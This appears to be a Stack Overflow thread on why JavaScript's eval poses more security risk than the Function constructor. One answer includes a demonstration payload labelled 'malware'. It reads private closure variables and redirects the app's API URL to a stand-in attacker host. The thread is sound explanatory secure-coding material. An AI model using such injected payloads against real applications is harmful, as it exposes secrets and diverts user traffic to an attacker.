Shnick
Shnick

Reputation: 1391

eval vs function constructor

I was reading about eval on MDN and it seems to suggest that a somewhat "better" alternative to eval is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk compared to eval as:

a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.

- MDN

What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?

Upvotes: 7

Views: 3024

Answers (2)

Thomas
Thomas

Reputation: 12637

An example of how using eval to, in this scenrio, parse inputs exposes and compromises all the private scope of your app.

app = (function(){
  // my app with all its shiny little secrets
  // stored in private variables
  var secret = 42;
  var apiUrl = "/api/";

  return {
    withEval(input){
      var someObject = eval(input);
      console.log("withEval", someObject);
      if(apiUrl === "/api/"){
        console.log("xhr to", apiUrl);
      }else{
        console.warn("xhr to", apiUrl);    
      }
    },
    withFunction(input){
      var someObject = Function("return(" + input+")")();
      console.log("withFunction", someObject);
      if(apiUrl === "/api/"){
        console.log("xhr to", apiUrl);
      }else{
        console.warn("xhr to", apiUrl);    
      }
    },
  }
})();

var malware = `(${
()=>{
  try { console.warn("found secret", secret); } catch(err){ console.error(err); }
  try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
  apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;

console.log(malware);

app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);

With eval your "secret" is exposed, like ids, tokens, ... and even the "apiUrl" has been changed so all your api-calls now make a roundtrip over the webpage of some attacker.

And your code doesn't even throw an error; I've logged these errors in the console.

Upvotes: 3

Indiana Kernick
Indiana Kernick

Reputation: 5331

From the MDN page:

However, unlike eval, the Function constructor creates functions which execute in the global scope only.

If you wrap all of your code in a closure, secret objects cannot be accessed from the evaluated function body.

(() => {
  let secret = 42;
  eval("console.log(secret)"); // 42
  let fn = new Function("console.log(secret)");
  fn(); // secret is not defined
})();

Upvotes: 8

Related Questions